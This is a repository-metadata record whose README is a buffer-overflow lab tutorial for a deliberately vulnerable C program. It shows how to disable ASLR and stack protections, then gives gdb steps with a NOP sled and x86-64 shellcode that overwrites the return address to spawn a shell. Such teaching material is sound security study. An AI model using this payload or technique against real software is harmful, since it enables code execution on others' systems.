{"id":19124246,"url":"https://github.com/syedsaadahmed/buffer-overflow-vulnerability","last_synced_at":"2026-06-14T21:32:13.893Z","repository":{"id":112196809,"uuid":"453775940","full_name":"syedsaadahmed/Buffer-Overflow-Vulnerability","owner":"syedsaadahmed","description":"Testing the buffer overflow vulnerability in a test environment","archived":false,"fork":false,"pushed_at":"2022-01-30T19:54:15.000Z","size":12,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-08-27T11:17:47.447Z","etag":null,"topics":["bash","buffer-overflow","buffer-overflow-attack","linux-shell","ubuntu"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/syedsaadahmed.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-01-30T19:11:05.000Z","updated_at":"2022-01-30T19:39:38.000Z","dependencies_parsed_at":"2023-05-11T07:15:33.668Z","dependency_job_id":null,"html_url":"https://github.com/syedsaadahmed/Buffer-Overflow-Vulnerability","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/syedsaadahmed/Buffer-Overflow-Vulnerability","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/syedsaadahmed%2FBuffer-Overflow-Vulnerability","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/syedsaadahmed%2FBuffer-Overflow-Vulnerability/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/syedsaadahmed%2FBuffer-Overflow-Vulnerability/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/syedsaadahmed%2FBuffer-Overflow-Vulnerability/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/syedsaadahmed","download_url":"https://codeload.github.com/syedsaadahmed/Buffer-Overflow-Vulnerability/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/syedsaadahmed%2FBuffer-Overflow-Vulnerability/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34339194,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-14T02:00:07.365Z","response_time":62,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bash","buffer-overflow","buffer-overflow-attack","linux-shell","ubuntu"],"created_at":"2024-11-09T05:28:32.013Z","updated_at":"2026-06-14T21:32:13.878Z","avatar_url":"https://github.com/syedsaadahmed.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Buffer-Overflow-Vulnerability\nTesting the buffer overflow vulnerability in a test environment\n\n# A Brief Introduction\n\nThis is a tutorial developed using a C program just to test the buffer overflow vulnerability and test it on a Ubuntu 18:04 server.\n\n# Pre-requisites\n```\nubuntu 18:04 server\ngcc (C compiler installed)\ngdb (C compiler debugger in order to see compile code and memory address organiation\n``` \n## Disable memory randomization, enable core dumps\n```\ncat /proc/sys/kernel/randomize_va_space\nsudo bash -c 'echo \"kernel.randomize_va_space = 0\" \u003e\u003e /etc/sysctl.conf'\nsudo sysctl -p\ncat /proc/sys/kernel/randomize_va_space\n# verify \"0\"\nulimit -c unlimited\nulimit -c\n# verify \"unlimited\"\n```\n# Steps to Execute\n\nFirst of all clone this git repository inside the Ubuntu server you are using;\n```\ngit clone https://github.com/syedsaadahmed/Buffer-Overflow-Vulnerability.git\n```\nSecondly we have to compile the C langugae code;\n```\ngcc -fno-stack-protector -z execstack -no-pie vuln.c -o vuln\n```\nSegmentation Fault by inserting 550 characters\n```\nrun $(python -c 'print \"a\" * 550')\n```\nCreation of patterns for memory addresses \n```\npattern_create 550 pat\nrun $(cat pat)\n```\nInserting NOP-Sled and overwriting the rsp/esp buffer;\n```\nr $(python -c 'print \"\\x90\"*450 + \"\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05\"+ \"\\x41\"*43 + \"b\"*6')\n``` \nChecking the memory addresses to verfiy the overwriting inside buffer\n```\nx/200x $rsp\n``` \nExecution of the sample shell code in place of memory return address; \n```\nr $(python -c 'print \"\\x90\"*450+\"\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05\"+\"\\x41\"*43+\"\\x80\\xe6\\xff\\xff\\xff\\x7f\"')\n``` \n# GDB CheatSheet\n\nThis is just a set of command to help us in order to use different commands inside the GDB debugging mode\n```\n# quit the debugger\nquit\n\n# clear the screen\nctrl + l\nshell clear\n\n# show debugging symbols, ie. code\nlist\nlist main\n\n# show the assemlby code\ndisas main\n\n# examine information\ninfo os\n\ninfo functions\n\ninfo variables\n\n# run the program, with input\nrun Hello\n\n# examine memory address\nx/200x ($esp - 550)\n\n# confirm overwrite of ebp register\ninfo registers\n\n# find a location, below ESP (stack pointer)\nEDI = destination index, string / array copying\nESI = source index, string + array copying\n\nEIP = index pointer, next address to execute\nEBP = stack base pointer\nESP = stack pointer, starting in high memory, going down\nEDX = data register\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsyedsaadahmed%2Fbuffer-overflow-vulnerability","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsyedsaadahmed%2Fbuffer-overflow-vulnerability","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsyedsaadahmed%2Fbuffer-overflow-vulnerability/lists"}